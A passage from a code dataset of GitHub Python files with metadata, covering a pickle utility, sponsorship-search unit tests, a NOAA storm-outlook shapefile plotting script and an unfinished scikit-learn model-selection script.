"usage_type": "call"}, {"api_name": "heapq.heappush", "line_number": 61, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 65, "usage_type": "name"}, {"api_name": "math.inf", "line_number": 77, "usage_type": "attribute"}]} {"seq_id": "14548700136", "text": "import os\nimport pickle\nfrom typing import Any\nfrom pathlib import Path\n\n\nclass Utils:\n @staticmethod\n def save_object_to_file(obj: Any, file_name: str):\n file_name = os.path.join(Path(__file__).parent.parent, 'backup_files', file_name)\n with open(file_name, 'wb') as file_:\n pickle.dump(obj, file_)\n\n @staticmethod\n def load_object_from_file(file_name: str) -> Any:\n file_name = os.path.join(Path(__file__).parent.parent, 'backup_files', file_name)\n with open(file_name, 'rb') as file_:\n data = pickle.load(file_)\n return data\n\n @staticmethod\n def convert_str_to_int_value(str_: str):\n val = ''\n for char in str_:\n val += str(ord(char))\n return int(val)\n", "repo_name": "amirhasance/information_retrieval_final_project", "sub_path": "utils/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 762, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.Any", "line_number": 9, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 10, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 16, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 18, "usage_type": "call"}, {"api_name": "typing.Any", "line_number": 15, "usage_type": "name"}]} {"seq_id": "5861703043", "text": "\"\"\"\nRun with::\n\n grunt exec:test_server:test_modules_sponsorship_search.py\n\"\"\"\nimport datetime\nimport unittest\nimport operator\nimport uuid\n\nfrom gluon.globals import Request\n\nfrom applications.OZtree.tests.unit import util\n\nimport sponsorship\nimport sponsorship_search\n\ndef parsed_ss(search_term, **kwargs):\n \"\"\"Make a query, parse headers from results\"\"\"\n def parse(r, headers):\n \"\"\"Turn a reservations result row into a dict matching (headers)\"\"\"\n out = {}\n for k, i in headers.items():\n out[k] = r[i]\n return out\n\n results = sponsorship_search.search_sponsor(search_term, **kwargs)\n return [parse(r, results['headers']) for r in results['reservations']]\n\n\nclass TestSponsorshipSearch(unittest.TestCase):\n maxDiff = None\n\n def setUp(self):\n request = Request(dict())\n util.clear_unittest_sponsors()\n\n # Allow sponsorship by default\n util.set_allow_sponsorship(1)\n util.set_maintenance_mins(0)\n util.set_reservation_time_limit_mins(6)\n self.assertEqual(sponsorship.sponsorship_enabled(), True)\n\n def tearDown(self):\n util.clear_unittest_sponsors()\n # Remove anything created as part of tests\n db.rollback()\n\n def test_search_sponsor_noterm(self):\n \"\"\"No search term returns {}\"\"\"\n out = sponsorship_search.search_sponsor(\"\")\n self.assertEqual(out, {})\n\n def test_search_sponsor_searchType(self):\n \"\"\"searchType parameter can be by/for/all\"\"\"\n search_term = str(uuid.uuid4()) # Something unique to search for\n user1, email1 = 'bettyunittestexamplecom', 'betty@unittest.example.com'\n\n r1 = util.purchase_reservation(basket_details=dict(\n e_mail=email1,\n user_donor_name=user1,\n user_sponsor_name=search_term,\n user_sponsor_kind='by',\n ))[0]\n r2 = util.purchase_reservation(basket_details=dict(\n e_mail=email1,\n user_donor_name=user1,\n user_sponsor_name=search_term,\n user_sponsor_kind='for',\n ))[0]\n self.assertEqual(\n [r['OTT_ID'] for r in parsed_ss(search_term, searchType='by')],\n [r1.OTT_ID],\n )\n self.assertEqual(\n [r['OTT_ID'] for r in parsed_ss(search_term, searchType='for')],\n [r2.OTT_ID],\n )\n self.assertEqual(\n set([r['OTT_ID'] for r in parsed_ss(search_term, searchType='all')]),\n set([r1.OTT_ID, r2.OTT_ID]),\n )\n # \"all\" is the default\n self.assertEqual(\n set([r['OTT_ID'] for r in parsed_ss(search_term)]),\n set([r['OTT_ID'] for r in parsed_ss(search_term, searchType='all')]),\n )\n\n def test_search_sponsor_pagination(self):\n \"\"\"Make sure pagination options work\"\"\"\n search_term = str(uuid.uuid4()) # Something unique to search for\n user1, email1 = 'bettyunittestexamplecom', 'betty@unittest.example.com'\n\n rs = util.purchase_reservation(otts=30, basket_details=dict(\n e_mail=email1,\n user_donor_name=user1,\n user_sponsor_name=search_term,\n user_sponsor_kind='by',\n ))\n # Without pagination, get the lot\n self.assertEqual(\n set([r['OTT_ID'] for r in parsed_ss(search_term)]),\n set(r['OTT_ID'] for r in rs),\n )\n # Page sizes are correct\n self.assertEqual(len(parsed_ss(search_term, limit=10, start=0)), 10)\n self.assertEqual(len(parsed_ss(search_term, limit=10, start=10)), 10)\n self.assertEqual(len(parsed_ss(search_term, limit=10, start=20)), 10)\n self.assertEqual(len(parsed_ss(search_term, limit=10, start=25)), 5)\n\n # Combine pages, get full set\n self.assertEqual(\n set([r['OTT_ID'] for r in parsed_ss(search_term, limit=10, start=0)]) |\n set([r['OTT_ID'] for r in parsed_ss(search_term, limit=10, start=10)]) |\n set([r['OTT_ID'] for r in parsed_ss(search_term, limit=10, start=20)]),\n set(r['OTT_ID'] for r in rs),\n )\n\n def test_search_sponsor_unverified(self):\n \"\"\"Unverified items don't show up in search\"\"\"\n search_term = str(uuid.uuid4()) # Something unique to search for\n user1, email1 = 'bettyunittestexamplecom', 'betty@unittest.example.com'\n\n r1 = util.purchase_reservation(basket_details=dict(\n e_mail=email1,\n user_donor_name=user1,\n user_sponsor_name=search_term,\n user_sponsor_kind='by',\n ))[0]\n r2 = util.purchase_reservation(basket_details=dict(\n e_mail=email1,\n user_donor_name=user1,\n user_sponsor_name=search_term,\n user_sponsor_kind='by',\n ), verify=False)[0]\n self.assertEqual(\n [r['OTT_ID'] for r in parsed_ss(search_term)],\n [r1.OTT_ID]\n )\n\n def test_search_sponsor_expire(self):\n \"\"\"Expired leaves don't show up\"\"\"\n search_term = str(uuid.uuid4()) # Something unique to search for\n ig = operator.itemgetter('OTT_ID', 'verified_name')\n\n # Can't find anything initially\n self.assertEqual(parsed_ss(search_term), [])\n\n # Buy an OTT with the search term, we see it\n user1, email1 = 'bettyunittestexamplecom', 'betty@unittest.example.com'\n r1 = util.purchase_reservation(basket_details=dict(\n e_mail=email1,\n user_donor_name=user1,\n user_sponsor_name=search_term,\n user_sponsor_kind='by',\n ))[0]\n self.assertEqual([ig(r) for r in parsed_ss(search_term)], [\n (r1.OTT_ID, search_term),\n ])\n\n # Move forward in time past expiry, still there.\n current.request.now = (current.request.now + datetime.timedelta(days=r1.sponsorship_duration_days + 10))\n self.assertEqual([ig(r) for r in parsed_ss(search_term)], [\n (r1.OTT_ID, search_term),\n ])\n\n # Expire it properly, it's not\n sponsorship.reservation_expire(r1)\n self.assertEqual(parsed_ss(search_term), [])\n\nif __name__ == '__main__':\n import sys\n\n if current.globalenv['is_testing'] != True:\n raise RuntimeError(\"Do not run tests in production environments, ensure is_testing = True\")\n suite = unittest.TestSuite()\n suite.addTest(unittest.makeSuite(TestSponsorshipSearch))\n result = unittest.TextTestRunner(verbosity=2).run(suite)\n if not result.wasSuccessful():\n sys.exit(1)\n", "repo_name": "OneZoom/OZtree", "sub_path": "tests/unit/test_modules_sponsorship_search.py", "file_name": "test_modules_sponsorship_search.py", "file_ext": "py", "file_size_in_byte": 6537, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 73, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sponsorship_search.search_sponsor", "line_number": 27, "usage_type": "call"}, {"api_name": "unittest.TestCase", "line_number": 31, "usage_type": "attribute"}, {"api_name": "gluon.globals.Request", "line_number": 35, "usage_type": "call"}, {"api_name": "applications.OZtree.tests.unit.util.clear_unittest_sponsors", "line_number": 36, "usage_type": "call"}, {"api_name": "applications.OZtree.tests.unit.util", "line_number": 36, "usage_type": "name"}, {"api_name": "applications.OZtree.tests.unit.util.set_allow_sponsorship", "line_number": 39, "usage_type": "call"}, {"api_name": "applications.OZtree.tests.unit.util", "line_number": 39, "usage_type": "name"}, {"api_name": "applications.OZtree.tests.unit.util.set_maintenance_mins", "line_number": 40, "usage_type": "call"}, {"api_name": "applications.OZtree.tests.unit.util", "line_number": 40, "usage_type": "name"}, {"api_name": "applications.OZtree.tests.unit.util.set_reservation_time_limit_mins", "line_number": 41, "usage_type": "call"}, {"api_name": "applications.OZtree.tests.unit.util", "line_number": 41, "usage_type": "name"}, {"api_name": "sponsorship.sponsorship_enabled", "line_number": 42, "usage_type": "call"}, {"api_name": "applications.OZtree.tests.unit.util.clear_unittest_sponsors", "line_number": 45, "usage_type": "call"}, {"api_name": "applications.OZtree.tests.unit.util", "line_number": 45, "usage_type": "name"}, {"api_name": "sponsorship_search.search_sponsor", "line_number": 51, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 56, "usage_type": "call"}, {"api_name": "applications.OZtree.tests.unit.util.purchase_reservation", "line_number": 59, "usage_type": "call"}, {"api_name": "applications.OZtree.tests.unit.util", "line_number": 59, "usage_type": "name"}, {"api_name": "applications.OZtree.tests.unit.util.purchase_reservation", "line_number": 65, "usage_type": "call"}, {"api_name": "applications.OZtree.tests.unit.util", "line_number": 65, "usage_type": "name"}, {"api_name": "uuid.uuid4", "line_number": 91, "usage_type": "call"}, {"api_name": "applications.OZtree.tests.unit.util.purchase_reservation", "line_number": 94, "usage_type": "call"}, {"api_name": "applications.OZtree.tests.unit.util", "line_number": 94, "usage_type": "name"}, {"api_name": "uuid.uuid4", "line_number": 121, "usage_type": "call"}, {"api_name": "applications.OZtree.tests.unit.util.purchase_reservation", "line_number": 124, "usage_type": "call"}, {"api_name": "applications.OZtree.tests.unit.util", "line_number": 124, "usage_type": "name"}, {"api_name": "applications.OZtree.tests.unit.util.purchase_reservation", "line_number": 130, "usage_type": "call"}, {"api_name": "applications.OZtree.tests.unit.util", "line_number": 130, "usage_type": "name"}, {"api_name": "uuid.uuid4", "line_number": 143, "usage_type": "call"}, {"api_name": "operator.itemgetter", "line_number": 144, "usage_type": "call"}, {"api_name": "applications.OZtree.tests.unit.util.purchase_reservation", "line_number": 151, "usage_type": "call"}, {"api_name": "applications.OZtree.tests.unit.util", "line_number": 151, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 162, "usage_type": "call"}, {"api_name": "sponsorship.reservation_expire", "line_number": 168, "usage_type": "call"}, {"api_name": "unittest.TestSuite", "line_number": 176, "usage_type": "call"}, {"api_name": "unittest.makeSuite", "line_number": 177, "usage_type": "call"}, {"api_name": "unittest.TextTestRunner", "line_number": 178, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 180, "usage_type": "call"}]} {"seq_id": "28908686642", "text": "#from getoutlook import getDates\nimport csv, os\nimport fiona\nimport requests\nimport zipfile\nimport pyproj\nimport cartopy\nimport cartopy.crs as ccrs\nimport matplotlib.pyplot as plt\nfrom cartopy.io.shapereader import Reader\nfrom cartopy.feature import ShapelyFeature\nfrom shapely.geometry import Point\nfrom shapely.geometry.polygon import Polygon\n\n\"\"\"\nNotes:\n - The \"DN\" attribute in each of the outlook shapefiles refers to the layer's severe category. \n As far as I can tell, the order goes: \n DN 2 = General Thunder\n DN 3 = Marginal\n DN 4 = Slight\n DN 5 = Enhanced\n DN 6 = Moderate\n DN 7 = High\n - Note that there is sometimes a second DN 2 layer that has like points. I'm not sure what this is, but it \n is not the actual general thunder area. \n\"\"\"\n\n# Laptop\n# DataDirectory = 'C:\\\\Users\\\\admoo\\\\Desktop\\\\Projects\\\\FalseAlarm\\\\csv\\\\'\n# Shapefiles = 'C:\\\\Users\\\\admoo\\\\Desktop\\\\Projects\\\\FalseAlarm\\\\outlooks\\\\'\n# outdir = 'C:\\\\Users\\\\admoo\\\\Desktop\\\\Projects\\\\FalseAlarm\\\\outlooks\\\\'\n# WARfilename = 'ConWarnings_2015_2018.csv'\n\n# home PC\nDataDirectory = 'H:\\\\Research\\\\FalseAlarm\\\\csv\\\\'\nShapefiles = 'H:\\\\Research\\\\FalseAlarm\\\\outlooks\\\\shapefiles\\\\'\noutdir = 'H:\\\\Research\\\\FalseAlarm\\\\outlooks\\\\shapefiles\\\\'\nindir = 'H:\\\\Research\\\\FalseAlarm\\\\outlooks\\\\'\nWARfilename = 'ConWarnings_2015_2018.csv'\n\n\ndef getDates(DataDirectory,filename):\n print(\"Processing file: \" + DataDirectory + filename+\"\\n\")\n output = []\n os.chdir(DataDirectory)\n with open(filename) as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=',')\n for row in csv_reader:\n if row[2][0:-4] in output:\n pass\n else:\n output.append(row[2][0:-4])\n csv_file.close()\n return output\n\n\ndef getOutlook(date,indir):\n print(\" Retreiving File...\")\n try:\n year = date[0:4]\n url = \"https://www.spc.noaa.gov/products/outlook/archive/\"+year+\"/day1otlk_\"+date+\"_1300-shp.zip\"\n savename = \"day1otlk_\"+date+\"_1300-shp.zip\"\n r = requests.get(url)\n with open(indir+savename,'wb') as f:\n f.write(r.content)\n print(\" Retrieved file \"+savename)\n return savename\n except:\n print(\" Retrieval failed!\")\n exit()\n\ndef unzip(zfile,indir,outdir):\n \"\"\"\n Unzips a zip file. Not very robust yet.\n :param zfile: name of the .zip file you want to unzip\n :param indir: location where the .zip file is located.\n :param outdir: location where you want the contents to go.\n :return: nothing. Just unzips the .zip contents.\n \"\"\"\n try:\n inpath = indir+zfile[0:-8]\n outpath = outdir\n #os.mkdir(inpath)\n with zipfile.ZipFile(indir+zfile,'r') as zip_ref:\n zip_ref.extractall(outpath)\n print(\" Unzipped file \"+zfile+\"\\n\")\n except:\n print(\" Unzipping failed!\")\n exit()\n\ndef plotShapefile(shpfile,datestring,polygon=None):\n \"\"\"\n Plots an SPC outlook for a given day.\n :param shpfile: shapefile for the SPC outlook.\n :param datestring: String of the date the outlook is valid for (in YYYYMMDD format).\n :return: plots a nice image. (Well, maybe not that nice...)\n \"\"\"\n\n lambproj = ccrs.LambertConformal(central_longitude=0,\n central_latitude=0,\n standard_parallels=(33,45))\n\n ax = plt.axes(projection=ccrs.PlateCarree())\n ax.coastlines()\n ax.add_feature(cartopy.feature.BORDERS)\n ax.add_feature(cartopy.feature.STATES)\n\n for record in Reader(shpfile).records():\n category = record.attributes['DN']\n colors = [\"lightgreen\",\"g\",\"yellow\",\"orange\",\"r\",\"magenta\"]\n ecolors = [\"k\",\"g\",\"gold\",\"darkorange\",\"r\",\"purple\"]\n lwidth = 1\n if category == 2:\n ax.add_geometries([record.geometry],crs=lambproj,edgecolor=ecolors[0],facecolor=colors[0],linewidth=lwidth,alpha=0.35)\n if category == 3:\n ax.add_geometries([record.geometry],crs=lambproj,edgecolor=ecolors[1],facecolor=colors[1],linewidth=lwidth,alpha=0.5)\n if category == 4:\n ax.add_geometries([record.geometry],crs=lambproj,edgecolor=ecolors[2],facecolor=colors[2],linewidth=lwidth,alpha=0.5)\n if category == 5:\n ax.add_geometries([record.geometry],crs=lambproj,edgecolor=ecolors[3],facecolor=colors[3],linewidth=lwidth,alpha=0.5)\n if category == 6:\n ax.add_geometries([record.geometry],crs=lambproj,edgecolor=ecolors[4],facecolor=colors[4],linewidth=lwidth,alpha=0.5)\n if category == 8:\n ax.add_geometries([record.geometry],crs=lambproj,edgecolor=ecolors[5],facecolor=colors[5],linewidth=lwidth,alpha=0.5)\n\n\n if polygon is not None:\n ax.add_geometries([polygon], crs=ccrs.PlateCarree(), edgecolor='red', facecolor='none', linewidth=3, alpha=0.5,\n zorder=10)\n x, y = polygon.centroid.coords.xy\n #ax.plot(x[0],y[0],'ko',markersize=5, transform=ccrs.PlateCarree())\n ax.text(x[0],(y[0]+0.5),'Warning',transform=ccrs.PlateCarree())\n buffer = 2.0 # degrees\n # print(center.xy[0][0],center.xy[1][0])\n left_lon = x[0] - buffer\n right_lon = x[0] + buffer\n top_lat = y[0] + buffer\n bottom_lat = y[0] - buffer\n ax.set_extent((left_lon, right_lon, bottom_lat, top_lat))\n else:\n ax.set_extent([-128, -65, 23, 48])\n\n plt.title(\"SPC 1300 UTC Convective Outlook on \"+datestring)\n plt.show()\n plt.clf()\n\n\ndef getShapefile(datestring,Shapefiles=None,indir=None):\n \"\"\"\n Returns a shapefile of the SPC outlook for the date requested.\n :param datestring: A string that is in YYYYMMDD format\n :param Shapefiles: Path to the directory that is housing the shapefiles\n :param indir: Path to the directory where the subroutine getOutlook will place the downloaded shapefile\n :return: returns the path to the requested shapefile. If the file is not found nor retrieved then an\n error message is displayed.\n \"\"\"\n if Shapefiles is None:\n Shapefiles = 'H:\\\\Research\\\\FalseAlarm\\\\outlooks\\\\shapefiles\\\\'\n if indir is None:\n indir = 'H:\\\\Research\\\\FalseAlarm\\\\outlooks\\\\'\n\n # Datestring needs to be in YYYYMMDD format\n datestring = datestring + \"_1300\"\n shpfile = \"day1otlk_\"+datestring+\"_cat.shp\"\n try:\n print(\" Outlook retrieved!\")\n return os.path.join(Shapefiles,shpfile)\n except:\n try:\n print(\" Trying to get new outlook for date \"+datestring)\n filename = getOutlook(datestring,indir)\n unzip(filename,indir,Shapefiles)\n print(\" Outlook retrieved!\")\n return os.path.join(Shapefiles, shpfile)\n except:\n print(\"ERROR: Could not find nor retrieve the requested outlook shapefile!\")\n return None\n\ndef changeProjection(polygon):\n x,y = polygon.exterior.coords.xy\n # +ellps=WGS84 +datum=WGS84\n projection = pyproj.Proj(\"+proj=lcc +lat_1=33 +lat_2=45 ellps=GRS80 +units=m\")\n lon,lat = projection(x,y,inverse=True)\n points = []\n for l,L in enumerate(lat):\n points.append([lon[l],L])\n new_polygon = Polygon(points)\n return new_polygon\n\n\ndef getWarnCat(warning,outlook):\n \"\"\"\n :param warning: the warning polygon (A Shapely Polygon object).\n :param outlook: the SPC outlook shapefile.\n :return: returns the category that the center point of the warning was in at the time of issuance.\n Note: More specifically, this returns the DN number that corresponds to the appropriate category.\n The DN convection follows: 2 = Gen Thunder, 3 = Marginal, 4 = Slight, 5 = Enhanced, 6 = Moderate, 8 = High.\n Why is there no DN = 7? I have no idea. (Pfff, government work!)\n \"\"\"\n warning_center = warning.centroid # gives Shapely Point object\n cats = []\n for record in Reader(outlook).records():\n category = record.attributes['DN']\n cat_poly = record.geometry\n cat_poly = changeProjection(cat_poly)\n if cat_poly.contains(warning_center) or warning_center.within(cat_poly):\n cats.append(category)\n else:\n continue\n if len(cats) == 0:\n return 0 # return a zero for no category\n else:\n return max(cats)\n\n", "repo_name": "admoorewx/Python-Misc", "sub_path": "owc.py", "file_name": "owc.py", "file_ext": "py", "file_size_in_byte": 8583, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.chdir", "line_number": 46, "usage_type": "call"}, {"api_name": "csv.reader", "line_number": 48, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 64, "usage_type": "call"}, {"api_name": "zipfile.ZipFile", "line_number": 85, "usage_type": "call"}, {"api_name": "cartopy.crs.LambertConformal", "line_number": 100, "usage_type": "call"}, {"api_name": "cartopy.crs", "line_number": 100, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axes", "line_number": 104, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 104, "usage_type": "name"}, {"api_name": "cartopy.crs.PlateCarree", "line_number": 104, "usage_type": "call"}, {"api_name": "cartopy.crs", "line_number": 104, "usage_type": "name"}, {"api_name": "cartopy.feature", "line_number": 106, "usage_type": "attribute"}, {"api_name": "cartopy.feature", "line_number": 107, "usage_type": "attribute"}, {"api_name": "cartopy.io.shapereader.Reader", "line_number": 109, "usage_type": "call"}, {"api_name": "cartopy.crs.PlateCarree", "line_number": 129, "usage_type": "call"}, {"api_name": "cartopy.crs", "line_number": 129, "usage_type": "name"}, {"api_name": "cartopy.crs.PlateCarree", "line_number": 133, "usage_type": "call"}, {"api_name": "cartopy.crs", "line_number": 133, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 144, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 144, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 145, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 145, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 146, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 146, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 168, "usage_type": "call"}, {"api_name": "os.path", "line_number": 168, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 175, "usage_type": "call"}, {"api_name": "os.path", "line_number": 175, "usage_type": "attribute"}, {"api_name": "pyproj.Proj", "line_number": 183, "usage_type": "call"}, {"api_name": "shapely.geometry.polygon.Polygon", "line_number": 188, "usage_type": "call"}, {"api_name": "cartopy.io.shapereader.Reader", "line_number": 203, "usage_type": "call"}]} {"seq_id": "35577672828", "text": "# scikit-learn algorithm cheat-sheet\nimport time\nimport csv\nimport numpy as np\nimport pandas as pd\nimport warnings\n \nwarnings.filterwarnings(\"ignore\")\n\n\n\n#import candidate models\nfrom sklearn.ensemble.forest import RandomForestClassifier\nfrom sklearn.ensemble.forest import RandomForestRegressor\nfrom sklearn.svm import LinearSVR, LinearSVC\nfrom sklearn.linear_model import SGDRegressor, SGDClassifier\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.ensemble import GradientBoostingClassifier, GradientBoostingRegressor\nfrom sklearn.tree import DecisionTreeClassifier\n#from xgboost import XGBRegressor, XGBClassifier\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.metrics import f1_score\nfrom sklearn.metrics import mean_squared_error\nfrom imblearn.over_sampling import RandomOverSampler\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.metrics import accuracy_score, f1_score\nfrom missingpy import MissForest\nfrom math import sqrt\nfrom sklearn.neighbors import KNeighborsClassifier\n\n\n\n\n#preprocess\n#-----------------------------------------------------------------------------------------------------------------------\ndef preprocess4ensemble(df):\n print(\"preprocess4ensemble\")\n X = df.iloc[:, :-1]\n y = df.iloc[:, -1]\n X_num = X.select_dtypes(include=\"number\")\n X_cat = X.select_dtypes(include=\"object\")\n\n #Check if all right\n if not(X_num.shape[1]+X_cat.shape[1] == X.shape[1]) or not(X_num.shape[0] == X_cat.shape[0] and X_cat.shape[0] == X.shape[0]):\n print(\"categorical and numerical seperation operation has a problem\")\n\n for cat_col in X_cat.columns:\n X_cat = pd.concat([X_cat,pd.get_dummies(X_cat[cat_col],dummy_na=False)],axis=1)\n del X_cat[cat_col]\n\n imputer = MissForest()\n X_imputed = pd.DataFrame(imputer.fit_transform(X_num))\n X_imputed.columns = X_num.columns\n del X_num\n\n X = pd.concat([X_imputed,X_cat],axis=1)\n ros = RandomOverSampler(random_state=42)\n X_res, y_res = ros.fit_resample(X, y)\n return X_res, y_res\n\ndef preprocess4xgb(df):\n print(\"preprocess4xgb\")\n X = df.iloc[:, :-1]\n y = df.iloc[:, -1]\n X_num = X.select_dtypes(include=\"number\")\n X_cat = X.select_dtypes(include=\"object\")\n\n #Check if all right\n if not(X_num.shape[1]+X_cat.shape[1] == X.shape[1]) or not(X_num.shape[0] == X_cat.shape[0] and X_cat.shape[0] == X.shape[0]):\n print(\"categorical and numerical seperation operation has a problem\")\n\n for cat_col in X_cat.columns:\n X_cat = pd.concat([X_cat,pd.get_dummies(X_cat[cat_col],dummy_na=False)],axis=1)\n del X_cat[cat_col]\n\n# imputer = MissForest()\n# X_imputed = pd.DataFrame(imputer.fit_transform(X_num))\n# X_imputed.columns = X_num.columns\n# del X_num\n def oversampling(X_train,y_train):\n rus = RandomOverSampler(return_indices=True)\n X_resampled, y_resampled, idx_resampled = rus.fit_resample(X_train, y_train)\n X_resampled = pd.DataFrame(X_resampled)\n y_resampled = pd.Series(y_resampled)\n X_resampled.columns = X_train.columns\n return X_resampled,y_resampled\n \n X = pd.concat([X_imputed,X_cat],axis=1)\n print(type(X))\n ros = RandomOverSampler(random_state=42)\n X, y = X.fillna(10000000000), y\n X, y = oversampling(X, y)\n X, y = X.replace(10000000000, np.nan), y.replace(10000000000, np.nan)\n \n return X, y\n\ndef preprocess4normal(df):\n print(\"preprocess4normal\")\n X = df.iloc[:, :-1]\n y = df.iloc[:, -1]\n X_num = X.select_dtypes(include=\"number\")\n X_cat = X.select_dtypes(include=\"object\")\n\n #Check if all right\n if not(X_num.shape[1]+X_cat.shape[1] == X.shape[1]) or not(X_num.shape[0] == X_cat.shape[0] and X_cat.shape[0] == X.shape[0]):\n print(\"categorical and numerical seperation operation has a problem\")\n\n for cat_col in X_cat.columns:\n X_cat = pd.concat([X_cat,pd.get_dummies(X_cat[cat_col],dummy_na=False)],axis=1)\n del X_cat[cat_col]\n\n #Impute nan\n imputer = MissForest()\n X_imputed = pd.DataFrame(imputer.fit_transform(X_num))\n X_imputed.columns = X_num.columns\n del X_num\n \n #Scaling\n scaled_features = StandardScaler().fit_transform(X_imputed.values)\n scaled_features_df = pd.DataFrame(scaled_features, index=X_imputed.index, columns=X_imputed.columns)\n\n X = pd.concat([scaled_features_df,X_cat],axis=1)\n ros = RandomOverSampler(random_state=42)\n X_res, y_res = ros.fit_resample(X, y)\n return X_res, y_res\n\ndef preprocess(df,algo_type):\n if \"RandomForest\" in str(algo_type).split(\"(\")[0] or \"GradientBoosting\" in str(algo_type).split(\"(\")[0]:\n return preprocess4ensemble(df)\n elif \"XGB\" in str(algo_type).split(\"(\")[0]:\n return preprocess4xgb(df)\n else:\n return preprocess4normal(df)\n \n#-----------------------------------------------------------------------------------------------------------------------\n \ndataset = pd.read_csv(\"./data/Iris_Species.csv\")\ndata_size = dataset.shape[0]\na = dataset.iloc[:, -1][1]\nif(issubclass(type(a), str)): #check predict data is stirng\n str_type = True\nelse :\n str_type = False\n\nchoose = ''\n\n#if No, we use this function\ndef No():\n global choose\n choose = \"N\"\n print(\"No\")\n time.sleep(1)\n\n#if Yes, we use this function \ndef Yes():\n global choose\n choose = \"Y\"\n print(\"Yes\")\n time.sleep(1)\n\n\n#-----------------------------------------------------------------------------------------------------------------------\n \nprint(\"Start\")\ntime.sleep(1)\n\nprint(\">50 samples\") #check data size\nif data_size > 50 : \n Yes()\nelse :\n No()\n\nif choose == \"N\":\n print(\"----------------------------------------------------------\")\n print(\"get more data\")\n print(\"----------------------------------------------------------\")\nelif choose == \"Y\":\n print(\"\")\n print(\"predicting a category\")\n choose = input(\"Enter Y or N \")\n if choose == \"N\":\n print(\"\")\n print(\"predicting a quantity\")\n choose = input(\"Enter Y or N \")\n if choose == \"N\":\n print(\"\")\n print(\"just looking\")\n choose = input(\"Enter Y or N \")\n if choose ==\"N\":\n print(\"----------------------------------------------------------\")\n print(\"predicitng structure\")\n time.sleep(1)\n print(\"tough luck\")\n print(\"----------------------------------------------------------\")\n elif choose == \"Y\":\n print(\"----------------------------------------------------------\")\n print(\"Randomized PCA\")\n print(\"----------------------------------------------------------\")\n print(\"\")\n choose = input(\"If it doesn't work, press Y. \")\n if choose ==\"Y\":\n print(\"\")\n print(\"<10K samples\")\n choose = input(\"Enter Y or N \")\n if choose == \"N\":\n print(\"----------------------------------------------------------\")\n print(\"kernel approximation\")\n print(\"----------------------------------------------------------\")\n elif choose == \"Y\":\n print(\"----------------------------------------------------------\")\n print(\"Isomap\")\n print(\"Spectral Embedding\")\n print(\"----------------------------------------------------------\")\n print(\"\")\n choose = input(\"If it doesn't work, press Y. \")\n if choose == \"Y\":\n print(\"----------------------------------------------------------\")\n print(\"LLE\")\n print(\"----------------------------------------------------------\")\n elif choose == \"Y\":\n print(\"\")\n print(\"<100K samples\")\n if data_size < 100000 : \n Yes()\n else :\n No()\n if choose == \"N\":\n print(\"----------------------------------------------------------\")\n print(\"SGD Regressor\")\n print(\"----------------------------------------------------------\")\n sgd = SGDRegressor()\n result = preprocess(dataset, sgd)\n x = pd.DataFrame(result[0])\n y = pd.DataFrame(result[1])\n x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.3)\n sgd.fit(x_train, y_train)\n predicted = sgd.predict(x_test)\n mse=mean_squared_error(y_test, predicted)\n rmse=sqrt(mse)\n print(\"rmse: %.2f\" %rmse)\n #print(\"Accuracy: %.2f\" %accuracy_score(y_test, predicted))\n #print(\"F1 score: %.2f\" %f1_score(y_test, predicted))\n result = pd.DataFrame(predicted)\n result.to_csv('./result/SGD_Regressor_result.csv', index=False, header=True)\n \n elif choose == \"Y\":\n print(\"\")\n print(\"few features should be important\")\n choose = input(\"Enter Y or N \")\n if choose == \"N\":\n print(\"----------------------------------------------------------\")\n #print(\"RidgeRegression\")\n print(\"Linear SVR\")\n print(\"----------------------------------------------------------\") \n lin_svr = LinearSVR (\n epsilon=0,\n tol=0.0001,\n C=1,\n fit_intercept=True,\n intercept_scaling=1,\n dual=True,\n verbose=0,\n random_state=None,\n max_iter=1000\n )\n result = preprocess(dataset, lin_svr)\n x = pd.DataFrame(result[0])\n y = pd.DataFrame(result[1])\n x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.3)\n lin_svr.fit(x_train, y_train)\n predicted = lin_svr.predict(x_test)\n mse=mean_squared_error(y_test, predicted)\n rmse=sqrt(mse)\n print(\"rmse: %.2f\" %rmse)\n result = pd.DataFrame(predicted)\n result.to_csv('./result/LinearSVR_result.csv', index=False, header=True)\n print(\"\")\n choose = input(\"If it doesn't work, press Y. \")\n if choose == \"Y\":\n print(\"----------------------------------------------------------\")\n #print(\"SVR(kernel=\\'rbf\\')\") #SVR default\n print(\"EnsembleRegressors\")\n 